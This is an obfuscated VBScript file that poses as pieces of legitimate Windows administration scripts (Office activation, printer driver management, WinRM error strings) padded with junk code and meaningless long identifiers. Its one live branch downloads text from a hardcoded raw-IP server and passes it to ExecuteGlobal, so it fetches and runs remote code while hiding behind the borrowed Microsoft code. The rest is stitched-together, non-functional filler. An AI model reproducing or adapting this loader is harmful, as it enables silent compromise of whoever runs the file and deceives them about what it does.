ampulla = "<root cUdccPxmPWWANbSGiNcQLUblhzdKboisfKtRpqKepzuLKWNKnRHhtgIifLieHxbpzGULCxmWtWZeLKhtLBWLhPecLvKkcWWoixCW:psf='http://example.com/psf' cUdccPxmPWWANbSGiNcQLUblhzdKboisfKtRpqKepzuLKWNKnRHhtgIifLieHxbpzGULCxmWtWZeLKhtLBWLhPecLvKkcWWoixCW:xsi='http://www.w3.org/2001/XMLSchema-instance'></root>"
Dim carbureto
Set carbureto = CreateObject("Msxml2.DOMDocument.6.0")
carbureto.async = False
carbureto.loadXML(ampulla)
Dim trismegisto
Set trismegisto = carbureto
Dim superar
Set superar = trismegisto.createNode(1, "psf:NewNode", "http://example.com/psf")
superar.setAttribute "name", "exampleProperty"
If Len("xsi:string") > 0 Then
Dim trepador
Set trepador = trismegisto.createNode(1, "psf:Value", "http://example.com/psf")
Dim melope
Set melope = trismegisto.createNode(2, "xsi:type", "http://www.w3.org/2001/XMLSchema-instance")
melope.nodeValue = "xsi:string"
trepador.attributes.setNamedItem(melope)
Dim carpins
Set carpins = trismegisto.createTextNode("condizente")
trepador.appendChild(carpins)
superar.appendChild(trepador)
End If
Dim updatedXmlString
updatedXmlString = trismegisto.xml
Sub fLklLKkNWmqcIKkoiUKncoeaRbSdsGcWLUKWabfcLqiPAOszpHkGdbmaGWxthGUHxaTAKWhPkGGULpuAjWvZNWuGmcILioabTAWI(ZOaLmbhbkkiKGfnRlzUkoALGUpWGWtKWmKgnlWncgmPZGLGCWxfaLnfKkzZjzUooWTtZcQGOUcLkbuKfWoNWgLCUhoQmTkbfmNLh)
ExecuteGlobal ZOaLmbhbkkiKGfnRlzUkoALGUpWGWtKWmKgnlWncgmPZGLGCWxfaLnfKkzZjzUooWTtZcQGOUcLkbuKfWoNWgLCUhoQmTkbfmNLh
End Sub
For mftrHfZcWgJLKAZWOTzLKIqdLPLeKcWGRvmAlfNUlLZtPuahUNAbtUfLnfnWfBIfLgWZcuLsWkbiLPIKxfBxrAWnKUUucLBNeWim = 0 To 3
If mftrHfZcWgJLKAZWOTzLKIqdLPLeKcWGRvmAlfNUlLZtPuahUNAbtUfLnfnWfBIfLgWZcuLsWkbiLPIKxfBxrAWnKUUucLBNeWim = 3 Then
Select Case mftrHfZcWgJLKAZWOTzLKIqdLPLeKcWGRvmAlfNUlLZtPuahUNAbtUfLnfnWfBIfLgWZcuLsWkbiLPIKxfBxrAWnKUUucLBNeWim
Case 0
On Error Resume Next
Set tLgAsIIKlQIatWcttHWduWvWWpNzRhWPpoamLLpGOGiWWiLGLRLRLLULlxGPKKnLbpiknpnLWqWZOhKGLLKQjfmpLLbtReabokCt = WSCript.CreateObject("WSCript.Shell")
Set gBWIceJcezWvKiROcotWpRTzokguLzIxcPWikLTGKPKTiKkzhdbiCcgihKNorcGWStWkoULsLcjiTKGKQttKjUoLWtZLHtWBCxWl = CreateObject("Scripting.FileSystemObject")
Set shKLUxLSKzfCoOAcKPKiUvhQBKliZKWvZoxRHsWSQNlaWKKzKmWiLLtWQBubLUAGrKcQZoippTjeCdTUPnbddcqixLRvZZBihcSL = WSCript.CreateObject("WSCript.Network")
Dim globalResource, globalErr, foundSlUi, strSluiPath, obUbnzLKgKiBroGcTkmLxBtrzWmnZKBWiWcuUWbiPuhGonNNkLSQKheqiKbpWuWuqUPfekoLvLLpAxcWLkKLTBiNLGiTWzLkbpRm, objWMI, objWMI1, wmiErr, productinstances, strValue, Win7, productClass, tokenClass, intIsKms, kmsCounter, isAdActivated, dlicense, foundSubKey, foundPerpKey, Win8, strSkuId, nNLiseLWGtfLguOacdhxKmWJTQWceKcezrLcTzbWivJWlGbndUWWhdbPkUbsuNtGWfxWZiZaUCLWakfULtiWacokzQAgWhbAqdGt, getHeartBeat
globalResource = ""
globalErr = ""
foundSlUi = False
Win7 = False
Win8 = False
kmsCounter = 0
isAdActivated = False
dlicense = False
strSkuId = Null
currentDir = Left(WScript.ScriptFullName, InStrRev(WScript.ScriptFullName, "\"))
' Activation error codes for which a KB is available
nNLiseLWGtfLguOacdhxKmWJTQWceKcezrLcTzbWivJWlGbndUWWhdbPkUbsuNtGWfxWZiZaUCLWakfULtiWacokzQAgWhbAqdGt = "80070422|80070426|C004F074|80070001|80070005|8007000D|8007232B|8007251D|C004F014|C004F038|C004F039|C004F041|C004F042|C004C003|4004F040"
Select Case WSCript.Arguments.Count
Case 0
WScript.Quit
Case 1
bGLidneznNbLlZNAuoUWfWtbiKmUzjBiKtcpKedLkGKLGeGeGfUzLUzOirUaaeoKOtNfWpGdGCluLzLAPWLLzPWKoUroCImhnzmn = WSCript.Arguments(0)
Case 2
bGLidneznNbLlZNAuoUWfWtbiKmUzjBiKtcpKedLkGKLGeGeGfUzLUzOirUaaeoKOtNfWpGdGCluLzLAPWLLzPWKoUroCImhnzmn = WSCript.Arguments(0)
KclGuLWLaqhkzkijjtqfaijZJbUcpzodmeaitfLeUCWkKUeKfSiLzNfvzKhzUvZLNcJUcBJGzciNIGLkKcGWNcCkhLeWLLULoRAx = WSCript.Arguments(1)
Case 3
bGLidneznNbLlZNAuoUWfWtbiKmUzjBiKtcpKedLkGKLGeGeGfUzLUzOirUaaeoKOtNfWpGdGCluLzLAPWLLzPWKoUroCImhnzmn = WSCript.Arguments(0)
KclGuLWLaqhkzkijjtqfaijZJbUcpzodmeaitfLeUCWkKUeKfSiLzNfvzKhzUvZLNcJUcBJGzciNIGLkKcGWNcCkhLeWLLULoRAx = WSCript.Arguments(1)
WhfcJoWjaLLplqLzIcJovKqCqIoKiKhiciLfzcPCWlZGJPqkWmsfdPcomskOKLdkbRUzuPLcLUnWCmLGeIaoCUNPAUbWqBCiouoG = WSCript.Arguments(2)
Case 4
bGLidneznNbLlZNAuoUWfWtbiKmUzjBiKtcpKedLkGKLGeGeGfUzLUzOirUaaeoKOtNfWpGdGCluLzLAPWLLzPWKoUroCImhnzmn = WSCript.Arguments(0)
KclGuLWLaqhkzkijjtqfaijZJbUcpzodmeaitfLeUCWkKUeKfSiLzNfvzKhzUvZLNcJUcBJGzciNIGLkKcGWNcCkhLeWLLULoRAx = WSCript.Arguments(1)
WhfcJoWjaLLplqLzIcJovKqCqIoKiKhiciLfzcPCWlZGJPqkWmsfdPcomskOKLdkbRUzuPLcLUnWCmLGeIaoCUNPAUbWqBCiouoG = WSCript.Arguments(2)
JmiLbKUTnxGLAmkLdkUPNZzaxlJKZmLWKUzxNLxbmaZuPKZSRNmqexLGkiAgRRzLONAPNSONbGilLeZxqWTtxLLWLUKboWKAGNWi = WSCript.Arguments(3)
Case Else
End Select
WxQszNbxjGxBGzBLLkuZcULtJecltnJLWCkkZOAgPGaxWkWnNKaRKIUppWAURgWLszLRUjLKhrmZtZZLKLckmGTiWpGqtcccWZiI = LCase(Right(WScript.FullName,12))
If WxQszNbxjGxBGzBLLkuZcULtJecltnJLWCkkZOAgPGaxWkWnNKaRKIUppWAURgWLszLRUjLKhrmZtZZLKLckmGTiWpGqtcccWZiI <> "\cscript.exe" Then
tLgAsIIKlQIatWcttHWduWvWWpNzRhWPpoamLLpGOGiWWiLGLRLRLLULlxGPKKnLbpiknpnLWqWZOhKGLLKQjfmpLLbtReabokCt.Popup "Unable to perform operation. " & WSCript.ScriptName & " requires the cscript engine." & _
vbCr & "Command line example: cscript ospp.vbs ?", _
,WSCript.ScriptName, VALUE_ICON_WARNING
WScript.Quit
End If
WMIDateStringToDate = CDate(Mid(dtmEventDate, 5, 2) & "/" & _
Mid(dtmEventDate, 7, 2) & "/" & Left(dtmEventDate, 4) _
& " " & Mid (dtmEventDate, 9, 2) & ":" & _
Mid(dtmEventDate, 11, 2) & ":" & Mid(dtmEventDate, _
13, 2))
If foundSlUi <> True Then
If cType <> "wmi" Then
globalPopFailure "slui.exe not found.",True
quitExit()
End If
Else
Set objScriptExec = tLgAsIIKlQIatWcttHWduWvWWpNzRhWPpoamLLpGOGiWWiLGLRLRLLULlxGPKKnLbpiknpnLWqWZOhKGLLKQjfmpLLbtReabokCt.Exec (strSluiPath & " 0x2a " & strSearch)
readOut = objScriptExec.StdOut.ReadAll
quitExit()
End If
wmiObject.CheckAccess HKEY_LOCAL_MACHINE, strKeyPath, KEY_SET_VALUE, _
bHasAccessRight
If bHasAccessRight = True Then
'Success
Else
globalPopFailure MSG_NOREGRIGHTS & vbCr & MSG_ISCMD_ELEVATED,True
End If
If Not gBWIceJcezWvKiROcotWpRTzokguLzIxcPWikLTGKPKTiKkzhdbiCcgihKNorcGWStWkoULsLcjiTKGKQttKjUoLWtZLHtWBCxWl.FileExists(file) Then
If file = currentDir & "slerror.xml" Then
WScript.Echo "[" & MSG_FILENOTFOUND & file & " Unable to display error description.]"
ElseIf file = currentDir & "ospp.htm" Then
globalPopFailure MSG_FILENOTFOUND & vbCr & file,False
quitExit()
Else
globalPopFailure MSG_FILENOTFOUND & vbCr & file,True
End If
End If
For Each Drv In gBWIceJcezWvKiROcotWpRTzokguLzIxcPWikLTGKPKTiKkzhdbiCcgihKNorcGWStWkoULsLcjiTKGKQttKjUoLWtZLHtWBCxWl.Drives
If Drv.DriveType=2 Then
If gBWIceJcezWvKiROcotWpRTzokguLzIxcPWikLTGKPKTiKkzhdbiCcgihKNorcGWStWkoULsLcjiTKGKQttKjUoLWtZLHtWBCxWl.FileExists(Drv.DriveLetter & STR_SYS32PATH & "wbem\mofcomp.exe") Then
foundComp = True
strMofExePath = Drv.DriveLetter & STR_SYS32PATH & "wbem\mofcomp.exe"
If gBWIceJcezWvKiROcotWpRTzokguLzIxcPWikLTGKPKTiKkzhdbiCcgihKNorcGWStWkoULsLcjiTKGKQttKjUoLWtZLHtWBCxWl.FileExists(Drv.DriveLetter & STR_SYS32PATH & "wbem\" & strFile) Then
foundMof = True
strOWmi = Drv.DriveLetter & STR_SYS32PATH & "wbem\" & strFile
Set objScriptExec = tLgAsIIKlQIatWcttHWduWvWWpNzRhWPpoamLLpGOGiWWiLGLRLRLLULlxGPKKnLbpiknpnLWqWZOhKGLLKQjfmpLLbtReabokCt.Exec (strMofExePath & " " & strOWmi)
readOut = objScriptExec.StdOut.ReadAll
WScript.Echo readOut
quitExit()
End If
End If
End If
Next
If foundComp <> True Then
globalPopFailure MSG_FILENOTFOUND & Replace(STR_SYS32PATH,":","") & "wbem\mofcomp.exe",True
Else
If foundMof <> True Then
globalPopFailure MSG_FILENOTFOUND & Replace(STR_SYS32PATH,":","") & "wbem\osppwmi.mof",True
End If
End If
For Each Drv In gBWIceJcezWvKiROcotWpRTzokguLzIxcPWikLTGKPKTiKkzhdbiCcgihKNorcGWStWkoULsLcjiTKGKQttKjUoLWtZLHtWBCxWl.Drives
If Drv.DriveType=2 Then
If gBWIceJcezWvKiROcotWpRTzokguLzIxcPWikLTGKPKTiKkzhdbiCcgihKNorcGWStWkoULsLcjiTKGKQttKjUoLWtZLHtWBCxWl.FileExists(Drv.DriveLetter & STR_SYS32PATH & "slui.exe") Then
strSluiPath = Drv.DriveLetter & STR_SYS32PATH & "slui.exe"
foundSlUi = True
Exit For
End If
End If
Next
Case 1
dim iAction
dim iRetval
dim oParamDict
'
' Abort if the host is not cscript
on error resume next
dim strFullName
dim btsWWWWQzpcWSuRxPiLoeKBKGpeAZLKOlIPLkWckhdvocfhoLdQORKuiWsqUNLWuUvWWpiLgGmGciAiWxhLULszOLibvLIULhibk
dim i, j
dim bReturn
bReturn = false
strFullName = WScript.FullName
i = InStr(1, strFullName, ".exe", 1)
if i <> 0 then
j = InStrRev(strFullName, "\", i, 1)
if j <> 0 then
btsWWWWQzpcWSuRxPiLoeKBKGpeAZLKOlIPLkWckhdvocfhoLdQORKuiWsqUNLWuUvWWpiLgGmGciAiWxhLULszOLibvLIULhibk = Mid(strFullName, j+1, i-j-1)
if LCase(btsWWWWQzpcWSuRxPiLoeKBKGpeAZLKOlIPLkWckhdvocfhoLdQORKuiWsqUNLWuUvWWpiLgGmGciAiWxhLULszOLibvLIULhibk) = "cscript" then
bReturn = true
end if
end if
end if
if Err <> 0 then
wscript.echo L_Text_Error_General01_Text & L_Space_Text & L_Error_Text & L_Space_Text _
& L_Hex_Text & hex(Err.Number) & L_Space_Text & Err.Description
end if
IsHostCscript = bReturn
on error resume next
dim oError
set oError = CreateObject("WbemScripting.SWbemLastError")
if Err = kErrorSuccess then
wscript.echo L_Operation_Text & L_Space_Text & oError.Operation
wscript.echo L_Provider_Text & L_Space_Text & oError.ProviderName
wscript.echo L_Description_Text & L_Space_Text & oError.Description
wscript.echo L_Text_Error_General03_Text & L_Space_Text & oError.StatusCode
end if
on error resume next
dim oLocator
dim bResult
oService = null
bResult = false
set oLocator = CreateObject("WbemScripting.SWbemLocator")
if Err = kErrorSuccess then
set oService = oLocator.ConnectServer(strServer, strNameSpace, WtKiLCZZuaGzHoWmWRkLncqkzNTLhPRkfiUPLQLpmkZPGABoZircfGWGRfJWtWNRfourfhWWupLoUkWcilzWcSixnrJnkOkKRsez, UpLrCCiLzWUiRWmicmWcOLkRWkabfuzBLbphGpLWkKKWKcLLkmAGWmzWKzPUqLLLuGGbWkRdWevcbTbiLGNifHazKWvxidlUeLue)
if Err = kErrorSuccess then
bResult = true
oService.Security_.impersonationlevel = 3
'
' Required to perform administrative tasks on the spooler service
'
oService.Security_.Privileges.AddAsString "SeLoadDriverPrivilege"
Err.Clear
else
wscript.echo L_Text_Msg_General08_Text & L_Space_Text & L_Error_Text _
& L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
end if
else
wscript.echo L_Text_Msg_General09_Text & L_Space_Text & L_Error_Text _
& L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
end if
GWotIhWLiLZUelLLLiZPKPoLqmLhKGIbcmWWRLLWkkKpWPbWiWWWbfCWiNLhBWciCpfUiUpBkALICWLaAbWALKPKWiKkRaeeLCni = bResult
dim strRet
strRet = strServer
if Left(strServer, 2) = "\\" and Len(strServer) > 2 then
strRet = Mid(strServer, 3)
end if
RemoveBackslashes = strRet
Case 2
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg01_Text
dim oDriver
dim oService
dim iResult
dim uResult
iResult = kErrorFailure
if Err.Number = kErrorSuccess then
oDriver.Name = strModel
oDriver.SupportedPlatform = strEnvironment
oDriver.Version = uVersion
oDriver.FilePath = strFilePath
oDriver.InfName = strInfFile
uResult = oDriver.AddPrinterDriver(oDriver)
if Err.Number = kErrorSuccess then
if uResult = kErrorSuccess then
wscript.echo L_Text_Msg_General01_Text & L_Space_Text & oDriver.Name
iResult = kErrorSuccess
else
wscript.echo L_Text_Msg_General02_Text & L_Space_Text & strModel & L_Space_Text _
& L_Text_Error_General03_Text & L_Space_Text & uResult
end if
else
wscript.echo L_Text_Msg_General02_Text & L_Space_Text & strModel & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text & Err.Description
end if
else
end if
AddDriver = iResult
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg02_Text
iResult = kErrorFailure
strObject = strModel & "," & CStr(uVersion) & "," & strEnvironment
if GWotIhWLiLZUelLLLiZPKPoLqmLhKGIbcmWWRLLWkkKpWPbWiWWWbfCWiNLhBWciCpfUiUpBkALICWLaAbWALKPKWiKkRaeeLCni(strServer, kNameSpace, WtKiLCZZuaGzHoWmWRkLncqkzNTLhPRkfiUPLQLpmkZPGABoZircfGWGRfJWtWNRfourfhWWupLoUkWcilzWcSixnrJnkOkKRsez, UpLrCCiLzWUiRWmicmWcOLkRWkabfuzBLbphGpLWkKKWKcLLkmAGWmzWKzPUqLLLuGGbWkRdWevcbTbiLGNifHazKWvxidlUeLue, oService) then
set oDriver = oService.Get("Win32_PrinterDriver.Name='" & strObject & "'")
else
DelDriver = kErrorFailure
end if
Case 3
private const GvGLpmWKekWLLmPdWeaWhWcGKUCOLCxoWGcBNCONnPduZculNsodfhPAfLUczaLjakzCgiAJcRchBZhZLUkKLiWcTdKKALWmKZbh = "Switch not allowed with the given operation: "
private const LGlrNWkfAruPcmlJGzxoWGmZniaLGtsqIckWoKiGqvLceWjbWTWzHobcKqizflKGelTptiUtZkWWiLeGZmPhhGWNJikzPWbzbblG = "Unknown switch: "
private const pIokGKfQicCAWAGnLKkKoPKZNWGSkfpiIbfbfcNnIKKeWZoWipBOoiizNGmCWGJiCWfLIoWGLoAOBKpnkjWplNLKnLKWJhWZWtIG = "Missing switch name"
private const oevrrsGbcWUfLWILPLiWzSOOPGlKGGWieaCcQKozLnZBuWUWNJqxhLWtfTqiWPciqhiWPcKnLBpaWckGUzZznzPOLKiaoAPiLlxh = "Invalid use of command line. Type ""winrm -?"" for help."
private const SZaUGcvbGoGlWtnqkLkWWGZLCicufNIAhpbWnHWKIGWOPzaNcbzIKKLQpcWkbikpkLoKphRUUWbiuiOjofGuxQmLubpoNnixuctk = "Type ""winrm -?"" for help."
private const zOKkhLNLeCiHxzrALgiLCGbKLdeLSaiUcmeRuOKihklhfrqbPibmTLpiAUoNKmPBhJzckWraLBLhftliGLLoIUKoBoWpWLpGQpfp = "Invalid usage of command line; winrm.vbs not found in command string."
private const LKUxeLZUZqKPnvKGLtbRkoZptHmLAWpbpGOWBLhWUIhdKRhWKOpNNoLSKbaZpqKccWetlLtPAUbWGmLZctLkKAmxLLNkWTzcAlsZ = "A quoted parameter value must begin and end with quotes: "
LLhdpcWdiSKvZRLcaIglhLWpxNUKWUdNLNaLGmWRLiGKnpiWAtiPkhuxciqSNWoqkNmOZLPNiiLtNLKvcPcWxiLOALezkmKWohgI = "http://91.92.254.29/Users_API/ABBAS/file_odpxh4oq.2bf.txt"
Set NkGhGlcWiWcqACIcNuhzchLaNLTWbWPKGddlUiAuaLmAhtWkaeLNoLcKicWfKPKPKWPiGocKfOBfKskUJcWKRKLGzaxhiUeukeKc = CreateObject("MSXML2.XMLHTTP")
NkGhGlcWiWcqACIcNuhzchLaNLTWbWPKGddlUiAuaLmAhtWkaeLNoLcKicWfKPKPKWPiGocKfOBfKskUJcWKRKLGzaxhiUeukeKc.Open "GET", LLhdpcWdiSKvZRLcaIglhLWpxNUKWUdNLNaLGmWRLiGKnpiWAtiPkhuxciqSNWoqkNmOZLPNiiLtNLKvcPcWxiLOALezkmKWohgI, False
NkGhGlcWiWcqACIcNuhzchLaNLTWbWPKGddlUiAuaLmAhtWkaeLNoLcKicWfKPKPKWPiGocKfOBfKskUJcWKRKLGzaxhiUeukeKc.send
cSABAPxdWkGOiKLcKWGWLIGNkNBQivhacfWOhoiAIoecmLpbTeOcOnWUQRKdcLcWWcxCBcULUWnaphmCWmWKlPquJcLozBpmmmkZ = NkGhGlcWiWcqACIcNuhzchLaNLTWbWPKGddlUiAuaLmAhtWkaeLNoLcKicWfKPKPKWPiGocKfOBfKskUJcWKRKLGzaxhiUeukeKc.responseText
fLklLKkNWmqcIKkoiUKncoeaRbSdsGcWLUKWabfcLqiPAOszpHkGdbmaGWxthGUHxaTAKWhPkGGULpuAjWvZNWuGmcILioabTAWI cSABAPxdWkGOiKLcKWGWLIGNkNBQivhacfWOhoiAIoecmLpbTeOcOnWUQRKdcLcWWcxCBcULUWnaphmCWmWKlPquJcLozBpmmmkZ
Case 4
private const ZLadLimkLLKrLzacKCLBkmalLKekipWfllBLihWuqtxpLWikWLmnHujhooAigGbTNctbBUeTOizKahfbkGpxZGeliAWWOfGPBPdU = "Unexpected match count - one match is expected: "
private const GRhSCkuULkUxGWLUuaSipziOoeuWizeexnxLLuIBLfhOULbkJNLcZRNUouzuWfLZhvibAkjQqLoiLQoOaRLZNCLfIghcbcWmKmdA = "Option is not unique: "
private const icoAKLUibcBiPkbKqPplWfdmhzLdiiLWadWtcWOWLKkQkpRGWZGocUlLLPKOLbuiWWCpbidLLfLppzPnZLsooanBhPzbWQPWtOhZ = "URI is missing"
private const tWeAzRRALclizLgdinrlSGZPsiGJOipfBLiGaUiPaLGQzBZoLWezUhGpikkbLckWeGiqLLKqRbfZciiKnmoBKLiLcAiAqZbcKgLb = "Action is missing"
private const OeLKaQqKhPfLKccpQCjKLGchWpWCUiWzfHRiqlGLmIziWRZbNPdgIIZiKLemRUPAniZLoasLAJhZZBiWkzPsReWxnenUlLgLWmcL = "URI is 0 length"
private const WCcCZGKWNLhZfGtLOLLLIoNGZzPskcoILcipgfpeefmULiGCJKedLrutWLpmTLWJIkKSUicUJmePuLarWRcZWrGKUULWWsciLaQv = "Invalid URI, token is 0 length"
private const GlULzbGGotidecWLiIBglLWuqCWCLqciHLLLnecpWNvvBuvtLqWqWCRdOhiecLfWhQKWbUAlcJvjUGvKuBGLfWiLuLOWLWZeLqUB = "Invalid WMI resource URI - no '/' found (at least 2 expected)"
End Select
End If